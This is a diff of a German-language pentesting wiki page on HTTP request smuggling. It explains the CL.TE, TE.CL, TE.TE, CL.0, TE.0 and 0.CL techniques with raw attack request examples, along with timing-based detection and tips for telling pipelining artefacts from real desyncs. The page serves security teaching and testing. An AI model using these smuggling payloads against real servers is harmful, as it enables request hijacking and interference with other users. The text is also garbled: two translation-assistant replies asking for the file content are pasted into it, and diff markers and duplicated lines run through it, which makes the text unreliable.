- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Newline** enden, aber dieses Newline wird **nicht** von der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem **Chunk der Größe 0 gefolgt von 2 Newlines** enden: `0`
|
||||
- **Connection**: Nach meiner Erfahrung ist es empfehlenswert, beim ersten Request des Request Smugglings **`Connection: keep-alive`** zu verwenden.
|
||||
|
||||
## Basic Examples
|
||||
### Visible - Hidden
|
||||
|
||||
Das Hauptproblem bei http/1.1 ist, dass alle requests über denselben TCP-Socket laufen. Wenn also eine Diskrepanz zwischen zwei Systemen festgestellt wird, die requests empfangen, ist es möglich, eine request zu senden, die vom finalen Backend (oder sogar von Zwischenkomponenten) als 2 verschiedene requests (oder mehr) behandelt wird.
|
||||
|
||||
**[Dieser Blog-Post](https://portswigger.net/research/http1-must-die)** schlägt neue Wege vor, Desync-Angriffe auf ein System zu erkennen, die von WAFs nicht markiert werden. Dazu stellt er die Visible vs Hidden Verhaltensweisen vor. Das Ziel ist in diesem Fall, Diskrepanzen in den Antworten zu finden mit Techniken, die Desyncs verursachen könnten, ohne tatsächlich etwas auszunutzen.
|
||||
|
||||
Zum Beispiel: Wenn eine request mit dem normalen Host-Header und einem " host"-Header gesendet wird — und das Backend sich über diese Anfrage beschwert (vielleicht weil der Wert von " host" falsch ist) — kann das darauf hindeuten, dass das Front-End den " host"-Header nicht gesehen hat, während das finale Backend ihn verwendet hat, was sehr wahrscheinlich eine Desynchronisation zwischen Front-End und Back-end impliziert.
|
||||
|
||||
Das wäre eine **Hidden-Visible discrepancy**.
|
||||
|
||||
Wenn das Front-End den " host"-Header berücksichtigt hätte, das Front-End es aber nicht tat, wäre das eine **Visible-Hidden** Situation.
|
||||
|
||||
Zum Beispiel ermöglichte dies die Entdeckung von Desyncs zwischen AWS ALB als Front-End und IIS als Backend. Das lag daran, dass beim Senden von "Host: foo/bar" der ALB `400, Server; awselb/2.0` zurückgab, aber beim Senden von "Host : foo/bar" `400, Server: Microsoft-HTTPAPI/2.0` zurückgegeben wurde, was darauf hindeutete, dass das Backend die Antwort geschickt hat. Das ist eine Hidden-Visible (H-V) Situation.
|
||||
|
||||
Beachte, dass diese Situation bei AWS nicht korrigiert ist, aber sie kann verhindert werden, indem man `routing.http.drop_invalid_header_fields.enabled` und `routing.http.desync_mitigation_mode = strictest` setzt.
|
||||
|
||||
## Grundlegende Beispiele
|
||||
|
||||
> [!TIP]
|
||||
> Wenn du versuchst, das mit Burp Suite auszunutzen, deaktiviere im Repeater **`Update Content-Length` und `Normalize HTTP/1 line endings`**, weil einige Gadgets Newlines, Carriage Returns und malformed Content-Lengths ausnutzen.
|
||||
> Beim Versuch, dies mit Burp Suite auszunutzen, **deaktiviere `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da manche Gadgets Newlines, Carriage Returns und malformed Content-Lengths ausnutzen.
|
||||
|
||||
HTTP request smuggling attacks werden durch das Senden ambiger Requests erzeugt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header zwischen Front-End- und Back-End-Servern ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen dadurch, dass die Server dieselbe Request unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
|
||||
HTTP request smuggling Angriffe werden durch das Senden ambiger Anfragen konstruiert, die Diskrepanzen in der Interpretation der Header `Content-Length` (CL) und `Transfer-Encoding` (TE) zwischen Front-End und Back-End ausnutzen. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination davon, wie Front-End und Back-End diese Header priorisieren. Die Verwundbarkeiten entstehen, weil die Server dieselbe Anfrage unterschiedlich verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
|
||||
|
||||
### Basic Examples of Vulnerability Types
|
||||
### Grundlegende Beispiele für Verwundbarkeitstypen
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> Zur vorherigen Tabelle sollte man die TE.0-Technik hinzufügen, ähnlich der CL.0-Technik, aber mit Transfer-Encoding.
|
||||
> Zu der vorherigen Tabelle sollte die TE.0-Technik hinzugefügt werden, ähnlich wie die CL.0-Technik, aber mit Transfer-Encoding.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Front-End (CL):** Verarbeitet die Request basierend auf dem `Content-Length`-Header.
|
||||
- **Back-End (TE):** Verarbeitet die Request basierend auf dem `Transfer-Encoding`-Header.
|
||||
- **Angriffs-Szenario:**
|
||||
- **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
|
||||
- **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
|
||||
- **Angriffsszenario:**
|
||||
|
||||
- Der Angreifer sendet eine Request, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Content-Länge übereinstimmt.
|
||||
- Der Front-End-Server leitet die gesamte Request entsprechend dem `Content-Length`-Wert an das Back-End weiter.
|
||||
- Der Back-End-Server verarbeitet die Request als chunked aufgrund des Headers `Transfer-Encoding: chunked` und interpretiert die verbleibenden Daten als eine separate, nachfolgende Request.
|
||||
- Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length` Headers nicht der tatsächlichen Inhaltslänge entspricht.
|
||||
- Das Front-End leitet die gesamte Anfrage basierend auf dem `Content-Length` Wert an das Back-End weiter.
|
||||
- Das Back-End verarbeitet die Anfrage als chunked wegen des `Transfer-Encoding: chunked` Headers und interpretiert die verbleibenden Daten als separate, nachfolgende request.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -76,13 +92,13 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** Verarbeitet die Request basierend auf dem `Transfer-Encoding`-Header.
|
||||
- **Back-End (CL):** Verarbeitet die Request basierend auf dem `Content-Length`-Header.
|
||||
- **Angriffs-Szenario:**
|
||||
- **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
|
||||
- **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
|
||||
- **Angriffsszenario:**
|
||||
|
||||
- Der Angreifer sendet eine chunked Request, bei der die Chunk-Größe (`7b`) und die tatsächliche Content-Länge (`Content-Length: 4`) nicht übereinstimmen.
|
||||
- Der Front-End-Server, der `Transfer-Encoding` beachtet, leitet die gesamte Request an das Back-End weiter.
|
||||
- Der Back-End-Server, der `Content-Length` respektiert, verarbeitet nur den initialen Teil der Request (`7b` Bytes), wodurch der Rest als Teil einer unbeabsichtigten nachfolgenden Request übrig bleibt.
|
||||
- Der Angreifer sendet eine chunked request, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
|
||||
- Das Front-End, das `Transfer-Encoding` beachtet, leitet die gesamte Anfrage an das Back-End weiter.
|
||||
- Das Back-End, das `Content-Length` respektiert, verarbeitet nur den anfänglichen Teil der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden request übrig.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -105,12 +121,12 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
|
||||
- **Angriffs-Szenario:**
|
||||
- **Servers:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
|
||||
- **Angriffsszenario:**
|
||||
|
||||
- Der Angreifer sendet eine Request mit obfuskierten `Transfer-Encoding`-Headern.
|
||||
- Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
|
||||
- Der nicht verarbeitete Teil der Request, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Request und führt so zum Smuggling.
|
||||
- Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding` Headers.
|
||||
- Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Verwundbarkeit ausgenutzt werden.
|
||||
- Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage und führt so zu Smuggling.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -130,10 +146,10 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Szenario (Content-Length used by both Front-End and Back-End)**
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- Beide Server verarbeiten die Request ausschließlich basierend auf dem `Content-Length`-Header.
|
||||
- Dieses Szenario führt typischerweise nicht zu Smuggling, da Übereinstimmung darin besteht, wie beide Server die Request-Länge interpretieren.
|
||||
- Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length` Header.
|
||||
- Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Interpretation der Anfrage-Länge gibt.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -145,10 +161,10 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 Szenario**
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End parst ihn.
|
||||
- Das ist wichtig zum Verständnis und zur Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Request bestimmen.
|
||||
- Bezieht sich auf Szenarien, in denen der `Content-Length` Header vorhanden ist und einen Wert ungleich null hat, der anzeigt, dass der Request-Body Inhalt hat. Das Back-End ignoriert den `Content-Length` Header (der als 0 behandelt wird), aber das Front-End parst ihn.
|
||||
- Das ist wichtig beim Verständnis und beim Erstellen von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -160,10 +176,10 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 Szenario
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Wie das vorherige, aber mit TE
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Wie das vorherige, aber mit TE.
|
||||
- Technik [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Beispiel**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
@ -182,34 +198,58 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### `0.CL` Szenario
|
||||
|
||||
In einer `0.CL`-Situation wird eine Anfrage mit einer Content-Length wie folgt gesendet:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Und das front-end berücksichtigt den `Content-Length` nicht, sodass es nur die erste request an das backend sendet (bis zur 7 im Beispiel). Das backend sieht jedoch den `Content-Length` und wartet auf einen Body, der nie ankommt, weil das front-end bereits auf die Antwort wartet.
|
||||
|
||||
Wenn es jedoch eine request gibt, die an das backend gesendet werden kann und die beantwortet wird, bevor der Body der request eingetroffen ist, tritt dieser Deadlock nicht auf. Bei IIS passiert das zum Beispiel, wenn man requests an verbotene Namen wie `/con` sendet (siehe die [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)). Auf diese Weise wird die initiale request direkt beantwortet und die zweite request wird die request des Opfers enthalten wie:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
Das ist nützlich, um eine desync zu verursachen, hat aber bisher keine Auswirkungen.
|
||||
|
||||
Der Beitrag bietet dafür jedoch eine Lösung, indem er eine **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** umwandelt.
|
||||
|
||||
#### Den Webserver zum Absturz bringen
|
||||
|
||||
Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen Webserver beim Lesen der initialen HTTP-Daten zu brechen, aber ohne die Verbindung zu schließen. Auf diese Weise wird der **body** der **HTTP request** als die **nächste HTTP request** betrachtet.
|
||||
Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, einen Webserver **während des Einlesens der initialen HTTP-Daten zum Absturz zu bringen**, ohne **die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.
|
||||
|
||||
Zum Beispiel, wie in [**this writeup**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, wodurch der Server **abstürzen** konnte. Wenn die HTTP connection jedoch mit dem Header **`Connection: keep-alive`** aufgebaut wurde, würde der body der request nicht gelesen und die Verbindung bliebe offen, sodass der **body** der request als die **nächste HTTP request** behandelt würde.
|
||||
Zum Beispiel, wie in [**this writeup**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, die den Server zum **Absturz** brachten. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht eingelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
|
||||
|
||||
#### Erzwingen über hop-by-hop headers
|
||||
#### Erzwingen mittels hop-by-hop-Header
|
||||
|
||||
Indem man hop-by-hop headers missbraucht, könnte man dem Proxy signalisieren, den Header **Content-Length** oder **Transfer-Encoding** zu löschen, sodass ein **HTTP request smuggling** ausgenutzt werden kann.
|
||||
Durch das Missbrauchen von hop-by-hop-Headern können Sie den Proxy dazu veranlassen, den Header Content-Length oder Transfer-Encoding zu **löschen, sodass ein HTTP request smuggling ausgenutzt werden kann**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Für **mehr Informationen über hop-by-hop headers** siehe:
|
||||
Für **more information about hop-by-hop headers** siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Aufspüren von HTTP Request Smuggling
|
||||
## Erkennung von HTTP Request Smuggling
|
||||
|
||||
Die Identifizierung von HTTP request smuggling-Schwachstellen kann oft mithilfe von Timing-Techniken erfolgen, die darauf beruhen, zu beobachten, wie lange der Server für die Antwort auf manipulierte Requests benötigt. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, mit denen solche Schwachstellen gefunden werden können:
|
||||
Die Identifizierung von Schwachstellen im Zusammenhang mit HTTP request smuggling kann oft mithilfe von Timing-Techniken erfolgen, bei denen beobachtet wird, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zum Aufspüren von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, die zum Auffinden solcher Schwachstellen eingesetzt werden können:
|
||||
|
||||
### Auffinden von CL.TE-Schwachstellen mit Timing-Techniken
|
||||
### Finden von CL.TE-Schwachstellen mithilfe von Timing-Techniken
|
||||
|
||||
- **Methode:**
|
||||
|
||||
- Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
|
||||
- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der Back-End-Server auf zusätzliche Daten wartet.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -225,18 +265,18 @@ A
|
||||
```
|
||||
|
||||
- **Beobachtung:**
|
||||
- Der Front-end-Server verarbeitet die Anfrage basierend auf `Content-Length` und beendet die Nachricht vorzeitig.
|
||||
- Der Back-end-Server, der eine chunked-Nachricht erwartet, wartet auf das nächste Chunk, das nie eintrifft, was zu einer Verzögerung führt.
|
||||
- Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
|
||||
- Der Back-End-Server, der eine chunked message erwartet, wartet auf den nächsten Chunk, der nie ankommt, was eine Verzögerung verursacht.
|
||||
|
||||
- **Indikatoren:**
|
||||
- Timeouts oder lange Verzögerungen in der Antwort.
|
||||
- Empfang eines 400 Bad Request-Fehlers vom Back-end-Server, manchmal mit detaillierten Serverinformationen.
|
||||
- Empfang eines 400 Bad Request-Fehlers vom Back-End-Server, manchmal mit detaillierten Serverinformationen.
|
||||
|
||||
### Auffinden von TE.CL-Schwachstellen mit Timing-Techniken
|
||||
### Finden von TE.CL-Schwachstellen mithilfe von Timing-Techniken
|
||||
|
||||
- **Methode:**
|
||||
|
||||
- Sende einen Request, der — falls die Anwendung verwundbar ist — dazu führt, dass der Back-end-Server auf zusätzliche Daten wartet.
|
||||
- Sende eine Anfrage, die, falls die Anwendung verwundbar ist, dazu führt, dass der Back-End-Server auf zusätzliche Daten wartet.
|
||||
- **Beispiel:**
|
||||
|
||||
```
|
||||
@ -251,41 +291,49 @@ X
|
||||
```
|
||||
|
||||
- **Beobachtung:**
|
||||
- Der Front-end-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
|
||||
- Der Back-end-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was zu einer Verzögerung führt.
|
||||
- Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
|
||||
- Der Back-End-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was eine Verzögerung verursacht.
|
||||
|
||||
### Weitere Methoden zum Auffinden von Schwachstellen
|
||||
|
||||
- **Differenzielle Antwortanalyse:**
|
||||
- Sende leicht veränderte Versionen einer Anfrage und beobachte, ob die Serverantworten unerwartet unterschiedlich ausfallen, was auf eine Parsing-Diskrepanz hinweist.
|
||||
- **Einsatz automatisierter Tools:**
|
||||
- Tools wie Burp Suite's 'HTTP Request Smuggler' extension können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen ambiger Requests senden und die Antworten analysieren.
|
||||
- **Tests mit variierendem Content-Length:**
|
||||
- Sende Requests mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der Server mit solchen Abweichungen umgeht.
|
||||
- **Tests mit variiertem Transfer-Encoding:**
|
||||
- Sende Requests mit obfuskierten oder fehlerhaften `Transfer-Encoding`-Headern und überwache, wie unterschiedlich Front-end- und Back-end-Server auf solche Manipulationen reagieren.
|
||||
- **Differential Response Analysis:**
|
||||
- Sende leicht veränderte Versionen einer Anfrage und beobachte, ob sich die Serverantworten unerwartet unterscheiden, was auf eine Parsing-Diskrepanz hindeutet.
|
||||
- **Verwendung automatisierter Tools:**
|
||||
- Tools wie Burp Suite's 'HTTP Request Smuggler' Erweiterung können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen ambiger Anfragen senden und die Antworten analysieren.
|
||||
- **Content-Length-Varianztests:**
|
||||
- Sende Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachte, wie der Server mit solchen Abweichungen umgeht.
|
||||
- **Transfer-Encoding-Varianztests:**
|
||||
- Sende Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwache, wie unterschiedlich Front-End- und Back-End-Server auf solche Manipulationen reagieren.
|
||||
|
||||
### HTTP Request Smuggling Schwachstellen-Tests
|
||||
### Der `Expect: 100-continue`-Header
|
||||
|
||||
Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es wichtig zu prüfen, ob Client-Requests manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, deine Requests zu vergiften, z. B. so dass ein Request an `/` eine 404-Antwort erzeugt. Die CL.TE- und TE.CL-Beispiele, die zuvor in [Basic Examples](#basic-examples) diskutiert wurden, zeigen, wie man einen Client-Request vergiften kann, sodass eine 404-Antwort zurückkommt, obwohl der Client auf eine andere Ressource zugreifen wollte.
|
||||
Überprüfe, wie dieser Header beim Ausnutzen einer HTTP-Desynchronisation helfen kann in:
|
||||
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es entscheidend zu prüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode ist zu versuchen, deine Anfragen zu poisonen, zum Beispiel eine Anfrage an `/` so zu gestalten, dass sie eine 404-Antwort erzeugt. Die `CL.TE`- und `TE.CL`-Beispiele, die zuvor in [Basic Examples](#basic-examples) behandelt wurden, zeigen, wie man eine Client-Anfrage vergiften kann, um eine 404-Antwort zu erzwingen, obwohl der Client versucht, eine andere Ressource zu erreichen.
|
||||
|
||||
**Wichtige Überlegungen**
|
||||
|
||||
Beim Testen auf request smuggling-Schwachstellen durch Eingreifen in andere Requests beachte:
|
||||
Beim Testen auf request smuggling-Schwachstellen durch Beeinflussung anderer Anfragen beachte:
|
||||
|
||||
- **Getrennte Netzwerkverbindungen:** Die „attack“- und „normal“-Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle.
|
||||
- **Konsistente URL und Parameter:** Versuche, für beide Requests identische URLs und Parameternamen zu verwenden. Moderne Anwendungen routen Requests oft basierend auf URL und Parametern zu bestimmten Back-end-Servern. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Requests vom selben Server verarbeitet werden — eine Voraussetzung für einen erfolgreichen Angriff.
|
||||
- **Timing und Race-Bedingungen:** Der „normale“ Request, der dazu dient, eine Beeinflussung durch den „attack“-Request zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Sende den „normalen“ Request daher unmittelbar nach dem „attack“-Request. Bei stark ausgelasteten Anwendungen sind möglicherweise mehrere Versuche nötig, um die Verwundbarkeit zweifelsfrei zu bestätigen.
|
||||
- **Load-Balancing-Herausforderungen:** Front-end-Server, die als Load Balancer fungieren, können Requests auf unterschiedliche Back-end-Systeme verteilen. Wenn der „attack“- und der „normale“-Request auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Aspekt des Load Balancing kann mehrere Versuche erfordern, um eine Verwundbarkeit zu bestätigen.
|
||||
- **Unbeabsichtigte Auswirkungen auf andere Benutzer:** Wenn dein Angriff versehentlich die Anfrage eines anderen Benutzers (nicht den von dir gesendeten „normalen“ Request) beeinflusst, zeigt das, dass dein Angriff eine andere Anwendungssitzung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören; handle daher vorsichtig.
|
||||
- **Getrennte Netzwerkverbindungen:** Die "attack" und "normal" Requests sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der Schwachstelle.
|
||||
- **Konsistente URL und Parameter:** Versuche, für beide Anfragen identische URLs und Parameternamen zu verwenden. Moderne Anwendungen leiten Requests oft basierend auf URL und Parametern an bestimmte Back-End-Server weiter. Übereinstimmung erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was Voraussetzung für einen erfolgreichen Angriff ist.
|
||||
- **Timing- und Race-Bedingungen:** Die "normal" Anfrage, die dazu dient, eine Beeinflussung durch die "attack" Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anfragen der Anwendung. Sende daher die "normal" Anfrage unmittelbar nach der "attack" Anfrage. Bei stark ausgelasteten Anwendungen können mehrere Versuche erforderlich sein, um die Schwachstelle eindeutig zu bestätigen.
|
||||
- **Herausforderungen durch Load Balancing:** Front-End-Server, die als Load Balancer fungieren, können Anfragen auf verschiedene Back-End-Systeme verteilen. Wenn die "attack" und "normal" Requests auf unterschiedlichen Systemen landen, schlägt der Angriff fehl. Dieser Aspekt des Load Balancings kann mehrere Versuche zur Bestätigung einer Schwachstelle erfordern.
|
||||
- **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn dein Angriff unbeabsichtigt die Anfrage eines anderen Benutzers (nicht die von dir gesendete "normal" Anfrage zur Erkennung) beeinflusst, zeigt das, dass dein Angriff einen anderen Anwender der Anwendung beeinflusst hat. Fortgesetzte Tests könnten andere Benutzer stören, daher ist Vorsicht geboten.
|
||||
|
||||
## HTTP/1.1-Pipelining-Artefakte von echtem request smuggling unterscheiden
|
||||
## Unterscheidung von HTTP/1.1-Pipelining-Artefakten vs echtem request smuggling
|
||||
|
||||
Connection reuse (keep-alive) und pipelining können in Test-Tools, die mehrere Requests über dieselbe Socket-Verbindung senden, leicht den Eindruck von „smuggling“ erzeugen. Lerne, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
|
||||
Connection-Reuse (keep-alive) und Pipelining können leicht Illusionen von "smuggling" in Test-Tools erzeugen, die mehrere Anfragen auf demselben Socket senden. Lerne, harmlose clientseitige Artefakte von echten serverseitigen Desynchronisationen zu unterscheiden.
|
||||
|
||||
### Warum Pipelining klassische False Positives erzeugt
|
||||
### Warum Pipelining klassische False-Positives erzeugt
|
||||
|
||||
HTTP/1.1 verwendet eine einzige TCP/TLS-Verbindung und fügt Requests und Responses in denselben Stream ein. Beim Pipelining sendet der Client mehrere Requests hintereinander und erwartet Antworten in der gleichen Reihenfolge. Ein häufiger False Positive entsteht, wenn man ein fehlerhaftes CL.0-artiges Payload zweimal über dieselbe Verbindung abschickt:
|
||||
HTTP/1.1 verwendet eine einzelne TCP/TLS-Verbindung und hängt Anfragen und Antworten an denselben Stream an. Beim Pipelining sendet der Client mehrere Anfragen hintereinander und erwartet die Antworten in Reihenfolge. Ein häufiger False-Positive-Fall ist, eine malformed CL.0-style payload zweimal über eine einzelne Verbindung zu senden:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -294,7 +342,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein. Ich werde den relevanten englischen Text ins Deutsche übersetzen und dabei Markdown/HTML-Tags, Links, Pfade, Code und spezielle Begriffe unverändert lassen, wie du angefordert hast.
|
||||
Ich habe den Pfad, aber nicht den Dateiinhalte. Bitte sende den Inhalt von src/pentesting-web/http-request-smuggling/README.md (oder kopiere den Text hier). Ich übersetze ihn dann ins Deutsche gemäß deinen Vorgaben.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -308,7 +356,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Wenn der Server das fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE desync. Bei Reuse hat Ihr Client tatsächlich diesen byte-stream gesendet, den der Server als zwei unabhängige requests geparst hat:
|
||||
Wenn der Server das fehlerhafte `Content_Length` ignorierte, gibt es keine FE↔BE desync. Bei Wiederverwendung sendete dein Client tatsächlich diesen Byte-Stream, den der Server als zwei unabhängige requests interpretierte:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -322,42 +370,42 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Auswirkung: keine. Du hast nur deinen Client vom Server‑Framing desynced.
|
||||
Impact: none. You just desynced your client from the server framing.
|
||||
|
||||
> [!TIP]
|
||||
> Burp-Module, die von reuse/pipelining abhängen: Turbo Intruder mit `requestsPerConnection>1`, Intruder mit "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" oder "Enable connection reuse".
|
||||
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Litmus-Tests: pipelining oder echte desync?
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- In Burp Intruder/Repeater: HTTP/1 reuse ausschalten und "Send group in sequence" vermeiden.
|
||||
- In Turbo Intruder `requestsPerConnection=1` und `pipeline=False` setzen.
|
||||
- Wenn das Verhalten verschwindet, war es wahrscheinlich client-side pipelining, es sei denn, du hast es mit connection-locked/stateful Targets oder client-side desync zu tun.
|
||||
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
|
||||
